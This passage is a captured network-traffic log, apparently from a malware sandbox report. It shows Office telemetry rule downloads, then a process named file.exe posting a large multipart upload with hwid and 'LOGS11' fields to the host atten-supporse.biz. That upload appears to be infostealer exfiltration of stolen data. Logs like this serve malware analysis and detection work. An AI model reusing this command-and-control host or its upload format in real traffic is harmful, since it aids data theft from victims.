cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1565&rtt_var=602&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2093&delivery_rate=1794714&cwnd=191&unsent_bytes=0&cid=2f2f2cfaaf2642c3&ts=2382&x=0"
2024-12-03 16:41:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-03 16:41:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164124Z-174f7845968zgtf6hC1EWRqd8s0000000z4g00000000ev4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: f843b097-901e-00ac-53c3-43b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164124Z-174f7845968pght8hC1EWRyvxg00000009bg00000000b54c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:25 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 50b1485a-f01e-0003-090d-424453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164124Z-174f784596886s2bhC1EWR743w000000164000000000tq24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 1e31e9ea-701e-0098-028a-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164125Z-174f78459684bddphC1EWRbht400000015zg00000000708n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164125Z-174f7845968pf68xhC1EWRr4h800000016a000000000vrr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49745	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:26 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QS7Y0U90KMI1NVNMYJV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551896 Host: atten-supporse.biz
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 2d 2d 51 53 37 59 30 55 39 30 4b 4d 49 31 4e 56 4e 4d 59 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 51 53 37 59 30 55 39 30 4b 4d 49 31 4e 56 4e 4d 59 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 53 37 59 30 55 39 30 4b 4d 49 31 4e 56 4e 4d 59 4a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --QS7Y0U90KMI1NVNMYJVContent-Disposition: form-data; name="hwid"49808FE72535874858D6DA241434FD08--QS7Y0U90KMI1NVNMYJVContent-Disposition: form-data; name="pid"1--QS7Y0U90KMI1NVNMYJVContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 40 bb ee cc cc 93 d5 28 f5 5d 7f 69 f7 c4 ef 8a 00 c7 10 87 ff 97 d9 ff ef 52 2e 0a 04 d7 f7 c0 48 5b d2 c0 b7 ae 21 f9 7d 19 44 85 d4 93 8a 3a 28 c6 43 4a 1b 73 16 43 d1 80 1e b3 54 fd d4 84 b1 b8 54 9b 71 ce 09 62 18 48 21 98 f6 72 4a a6 43 1e 0e c4 a6 71 6e 9b 1a c6 89 66 3b 54 f0 c8 b6 c1 14 d1 dd 32 0d aa 1f e7 63 5a 44 d9 7f 46 4c c1 1e 29 da e5 6d 28 76 74 8f 5a ca 8f 8e 4b db 5d d7 65 23 82 13 b4 a8 55 d0 f1 02 37 28 ab 7d bb db cd 83 f7 c6 1b fc 10 5d 8f 93 b4 d4 ac b7 18 5b 23 bf a1 38 ab bf 5a 7a ca f8 84 85 83 14 85 c4 c8 42 44 e5 aa c6 6c de 0a f0 3b 40 55 86 82 08 60 66 00 cd e2 d8 8e 5e fe d3 34 b4 4c ce 0e 22 4d 34 d6 7f 4e 69 e3 4e 18 dd 7c df 2d 11 1b 70 a9 35 35 d2 34 22 7c 80 e7 ec 41 2a 44 9a eb bf ff cc f2 8c ce d5 15 c8 a5 d3 b2 3e Data Ascii: @(]iR.H[!}D:(CJsCTTqbH!rJCqnf;T2cZDFL)m(vtZK]e#U7(}][#8ZzBDl;@U`f^4L"M4NiN\|-p554"\|A*D>
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 15 c2 80 95 b4 a7 b3 cf b3 3f 05 07 e8 5d bf 4e 38 ab 78 80 a2 bc 45 83 41 21 f0 a1 e0 5b 27 04 87 e1 c1 9c 78 84 ef ff 9b 70 8c bf e1 63 b3 e0 02 c8 25 aa a7 9d d9 4e 01 45 66 0c 2a 3f 38 3c 7f e6 8c 41 bc be 3a 36 f4 5f ce 42 88 af 13 0d 3a c0 fa 03 a2 da 8e 8f 97 7c 94 7f f2 a7 60 c9 45 f1 3d 05 a2 d0 45 d0 ea 26 fb e0 f7 bf 2b f6 79 92 e7 b6 d1 cc ee 3f 89 5a c0 27 41 90 c2 07 ed e1 15 5c 01 d7 47 9c 6e ee 9c 9a 67 37 fd a3 49 5c 81 62 b7 02 f8 57 46 a3 40 32 02 de 77 e2 3e 46 68 22 de a6 4b 52 79 2b d7 4f a8 80 cc 30 44 d5 2c 5e 3b 4a 4a 87 67 f1 a5 48 92 56 1b 1b a8 b2 99 85 ac 65 85 34 ac 94 68 76 bd ef b4 06 f7 13 5e bd 83 97 47 b1 40 98 7b eb e5 fb 8b 98 d4 25 a5 9b 3d 78 0d 57 60 02 e8 4a 89 99 99 0d 46 15 28 0f 4c ea d4 50 94 1d 62 d3 75 6c df Data Ascii: ?]N8xEA!['xpc%NEf*?8<A:6_B:\|`E=E&+y?Z'A\Gng7I\bWF@2w>Fh"KRy+O0D,^;JJgHVe4hv^G@{%=xW`JF(LPbul
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: a3 36 66 0a 2a d4 5c 61 fa 8e fa 8f 2c 16 be 3d c6 fb ac 5d 29 4d b3 71 b8 ff fb 31 a0 32 58 a3 90 f7 c0 24 39 a0 1c bd b9 51 a3 2f 08 e6 1e 97 d3 db 83 30 15 75 10 a5 ea 7f d3 64 2e f4 1c e3 84 9e 45 ee 35 be fe 48 5c fa 52 66 1c fe 8b 50 ad 89 a6 99 c1 44 40 b4 8f 7a ed 2a 47 79 9d 34 13 49 46 d1 86 4c 68 97 20 8a 0c c6 53 88 a3 9c 1b fa 79 d6 dd 0d ea 56 e2 78 8d 05 fd ba 3c de 59 10 e5 e2 ce 2d 3e 50 70 11 08 a0 a9 dc c0 e3 bf 06 92 3f da 2e eb b1 0d e1 2a 94 55 a8 3c 75 3f 12 31 2c 35 97 f0 a1 92 f1 c0 9e 91 1b 4b 4c 5b e5 ec 45 fe f1 ef 71 0e 73 67 8a f4 92 1b 94 e5 8f 9b 40 35 fe f8 42 e8 40 d5 89 01 4c 07 9a 29 b9 f1 ed b1 b5 39 b1 bb 0c f3 a9 12 c3 c5 e1 ff 2a 33 7d 39 f7 81 93 3f db b8 5b 35 3e 98 aa 51 8f c5 11 5b 46 f1 f7 1e 50 f4 f1 29 47 68 Data Ascii: 6f\a,=])Mq12X$9Q/0ud.E5H\RfPD@zGy4IFLh SyVx<Y->Pp?.U<u?1,5KL[Eqsg@5B@L)93}9?[5>Q[FP)Gh
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 84 a6 40 53 af aa 6c 79 7c ec ad 99 a6 1f 66 57 78 b6 4d c8 ed 7a 0c 15 d0 2a 14 f6 69 72 0a 53 4a 4c c9 d2 40 42 2f f3 b2 28 d1 6d 77 c4 b0 f0 dd ba 8d 63 64 cc de 96 52 a0 fd 23 01 46 25 8d 97 ec 18 ed 43 8c 5d ff 3b 14 6b 05 9f 19 be 02 6f 27 ee 93 8a 95 e8 dc c1 a4 d9 4e bf 08 fa 48 e9 99 71 8a af 46 02 36 7a f5 ff 2f e3 86 81 62 3b 14 2d 3b 09 b8 91 e9 8f 11 ee 42 f1 36 00 14 6f 11 0a 2f db 4c 2d a2 f0 1c b7 7c 71 72 7b ef 6c 88 0c 52 46 66 7e 6b a0 75 b6 1b ce 77 7d c1 22 d5 f2 cc 36 c2 ba 67 f7 26 9a 7d 90 95 8e 0c b9 82 e4 6a b1 78 ad b6 9d 68 41 64 d5 90 36 bc df ab 79 ab 61 18 2b 08 4d 9b 57 12 35 f8 f7 c9 2e 52 2e 9a 90 50 24 49 c9 8d 45 89 49 d9 df e9 91 a8 dd b9 02 52 3a be e5 38 a5 6d ab 84 66 e5 18 a5 93 d3 46 6a c5 5c 2b 48 5d 14 5c f1 d9 Data Ascii: @Sly\|fWxMz*irSJL@B/(mwcdR#F%C];ko'NHqF6z/b;-;B6o/L-\|qr{lRFf~kuw}"6g&}jxhAd6ya+MW5.R.P$IEIR:8mfFj\+H]\
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 44 d1 5e 54 c4 75 fd 9d 92 62 07 99 cc 82 0b b1 30 25 f7 6c fd 3c a0 59 c9 b5 10 a5 e1 ec cd 4a 7f 60 97 18 b6 b5 65 22 4a cc 72 3a 87 a9 90 64 e4 82 8e 1b 6b 7f bb 3d 85 33 a3 c8 3c 18 d5 29 c9 dd 81 1f 32 a3 97 bd cd f3 e2 f2 cb 77 03 e4 bd 70 ae 3c c5 51 c6 0d 24 2f 74 f7 0a 9e 4c c2 52 43 f8 24 b4 9e f7 ab 8d 63 3e f9 0a aa 33 c5 a4 c2 34 00 73 5c d0 a2 a2 c8 89 91 67 1f f7 46 76 90 5e 68 cb c3 b5 e8 5d b7 f2 40 8c f5 99 70 6b 6e 2c b9 6a 76 2a 36 f9 a4 82 ec fd ba 58 71 6a fc 1a c7 40 84 f0 89 1b a4 a8 4b 74 b1 13 4d 8b d9 42 27 ec 23 7f 96 99 33 cc 83 dc 78 8c bb 76 1f 8b e2 0f 9e 5a 7b 47 5f 6d 20 a8 1f 43 5b d5 cb 66 fc 23 0e cf fe 1d 3e d0 6c 53 09 96 1d 74 43 63 a3 e1 8a 9e a0 9b 22 bd d9 ff 69 df f1 70 7b 7b 7b d3 93 d3 ec 84 d8 ec 1f e7 4e 31 Data Ascii: D^Tub0%l<YJ`e"Jr:dk=3<)2wp<Q$/tLRC$c>34s\gFv^h]@pkn,jv*6Xqj@KtMB'#3xvZ{G_m C[f#>lStCc"ip{{{N1
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: a5 e7 f3 e1 84 26 c2 6b fc 8d c8 6d ed 6a f7 c9 17 f2 b4 3d ad 76 50 e1 0e 9f 7b 74 c4 dc 2f dd 08 3b bf bf ce 6d fb 9b d9 a3 81 2f 97 ae fb a7 23 ef 17 ef 7d 17 59 a4 b9 58 24 2a 27 07 13 92 29 a5 9d 07 b0 07 8a 91 f1 6f ef 8c 66 7a 86 91 43 cf e9 6a 79 87 49 ec 35 7b 19 9b 24 ce 59 b0 06 b7 32 4e 1e 35 29 ba eb c3 db e3 d9 f7 e7 c2 17 bf 4f ff 04 9f 95 73 98 7f 3e 74 76 fd 42 a9 58 ff f1 92 cc ac bb e1 b4 1f 55 7b 87 3a 33 b7 50 5c 6e 5a 0b 4b a4 a2 21 b7 54 45 2d f7 d5 db 7c eb fe be 6f be d1 cb 24 3d e6 ff fa 82 68 98 f1 f3 da 78 d3 5f ca b7 8e 43 6e 8b f3 15 d8 af 9b 25 f5 ff 7d 6e fe db d5 ae 1a 49 a7 c2 de c1 d2 dc c4 9a 0e 9b 2e 1f 94 7a ef f3 7e 38 c2 14 56 5f b4 df 19 78 e0 2e e9 ad d7 ae 26 84 6e b5 9e 4f 52 f3 7b 33 a3 e5 28 94 45 5d 74 2b f4 Data Ascii: &kmj=vP{t/;m/#}YX$*')ofzCjyI5{$Y2N5)Os>tvBXU{:3P\nZK!TE-\|o$=hx_Cn%}nI.z~8V_x.&nOR{3(E]t+
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: f6 db ec 6b 24 c7 a1 8b 95 df c8 f9 80 3e 86 05 21 d6 4f 17 65 cd 4f 72 9d 8b d5 1b d3 2d f4 66 1a 95 1f 42 5d df c4 24 53 32 57 dc 39 8f 82 6c 46 5a 63 78 97 d1 c9 26 72 f2 a6 0d 89 24 12 a1 be c1 d3 ee 32 56 83 0f 4f 8f 20 c6 21 dc e6 44 55 49 54 43 c3 5f e2 ae 29 14 1c 6b 6a 4f 49 31 e7 27 db 33 07 81 9f 50 ce e4 fb 31 cb 49 ae f3 b1 1b b7 3f c4 c4 ed 18 a3 c2 a3 82 51 70 19 21 6a f2 b8 44 fe 62 7f a0 77 c2 9d 3f 7d 2e d1 f0 e1 58 4e e0 4e d8 56 49 e1 ee 3d 7f 70 9f aa 41 f4 dd a8 60 e5 35 ab a2 44 c4 7d 89 a1 8b c0 55 be 56 e8 da d7 77 62 ea 35 06 fb ef 38 f9 31 3b 46 5d ae d5 e0 36 8e b1 dc 46 9d be 2d db a0 a1 e3 86 2d 9b e1 d6 48 20 c8 3e f0 ef 3d bb 23 6a aa e0 15 e2 45 8b 5b e5 28 42 df 59 aa bb 41 bf 5e 86 74 d9 7b 63 e7 e3 f8 6b 9e d6 d2 a9 ba Data Ascii: k$>!OeOr-fB]$S2W9lFZcx&r$2VO !DUITC_)kjOI1'3P1I?Qp!jDbw?}.XNNVI=pA`5D}UVwb581;F]6F--H >=#jE[(BYA^t{ck
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 84 cf 7b 53 7d 16 74 4f 57 26 cd 5b a3 02 e1 88 80 19 71 d6 bc 1c b5 0d 41 ae b3 a9 3e 41 94 7d da b8 63 ca d1 0b f3 5d ee bc 97 e0 0e 31 45 61 5b 14 f7 e5 0f 47 88 d0 4c 1e e7 d6 2f b0 a3 3e 24 14 fb 8b 95 59 20 c8 a6 1b 60 85 c0 20 e9 a2 be c9 12 1f 13 18 2a 6a 35 b1 e1 6e 6a 40 7d 7a d8 8d 9c 8c 70 cd 69 5a 8d e4 ff 13 e7 e5 4e 7b 60 3b f5 79 7a 7a 42 9f ed 2d c0 d2 21 3e ca 34 5d 4f c1 e3 85 bc 6e 60 89 51 59 08 d2 a9 c0 93 27 a3 43 d5 e6 02 21 ae df ef 01 2a 7b 54 f4 6b 10 73 73 81 bd 4c 4e 44 e9 9b ea 5f cb de 6a 75 a5 3a 0d bb b0 af 9b 9d 54 3d 5f a9 a6 7b 61 fe 7f c7 48 a4 e9 42 9f ad 7e 37 30 07 00 68 bd 0a ca d8 67 9f 3a c7 fc 8a 62 ac dd ee 7a 72 f1 c6 06 4f 74 7b 8f 44 e1 91 4b 13 9d 79 45 a5 ec 12 b7 8f a7 3c 7b 96 99 62 8a 15 21 61 89 e8 94 Data Ascii: {S}tOW&[qA>A}c]1Ea[GL/>$Y ` j5nj@}zpiZN{`;yzzB-!>4]On`QY'C!{TkssLND_ju:T=_{aHB~70hg:bzrOt{DKyE<{b!a
2024-12-03 16:41:26 UTC	15331	OUT	Data Raw: 23 0d 0b fa 7e bf ba 14 81 60 2c b4 9a 15 1e 5a 90 71 33 d6 00 d4 5d f7 e0 69 2c d6 f8 01 3f 81 92 ff 8f 55 79 ea ae 2e ad dc 76 c9 04 39 f7 e4 f7 3d dd 08 93 57 7a a0 6c fc cf 03 1c 08 bb 89 0a de ba 4b d0 68 7b 9f f2 11 f7 22 5d 51 a4 9a 64 9f 84 b0 0d 16 8a b1 a1 ce 7b 6b fc d4 fb 35 1a ef 5c 25 be b9 8e e7 f3 5f f9 51 59 fd a1 c6 a1 37 ab 3e 36 92 d7 42 64 d3 2b 81 bb a6 11 27 72 b8 dc 69 4d fc 3a e9 fa 93 94 8a bb c1 22 11 c3 ab d6 3e 9c 08 d3 57 dc e4 8b 67 07 7c 8e f2 53 b9 89 10 c7 e7 f9 9a 16 e6 41 e2 bb c2 d2 68 c6 fd fb cc c2 c5 17 9f af 23 1d a5 40 fe 36 68 a2 54 e4 99 02 e8 6e 85 f8 d1 ac 29 bc 14 bf 61 61 78 37 5d b8 5b 5b e4 c8 8a fb 2b c5 67 1f a1 6e 08 df 79 20 6c e7 27 04 39 53 41 56 31 fa 45 8f 73 66 c4 09 c5 43 86 66 ed 88 da 20 50 f4 Data Ascii: #~`,Zq3]i,?Uy.v9=WzlKh{"]Qd{k5\%_QY7>6Bd+'riM:">Wg\|SAh#@6hTn)aax7][[+gny l'9SAV1EsfCf P
2024-12-03 16:41:31 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ku771mk0q1q6ondilva7sg06h1; expires=Sat, 29-Mar-2025 10:28:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DwumeumnRjjOJPzT7vER4jqtFUZNaEIWV2tuvHd14A3Ktx8DGrzJRCI6jS8FEUej58TobA7YEgNAuH7I%2BNt4aN4WF6VNJCP3AgEhmnQK07M2MYwMn%2FY7Vmdddn4jPp5iC1VtrOA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec5011799b7438a-EWR alt-svc: h3=":443"; ma=86400 server-timing: 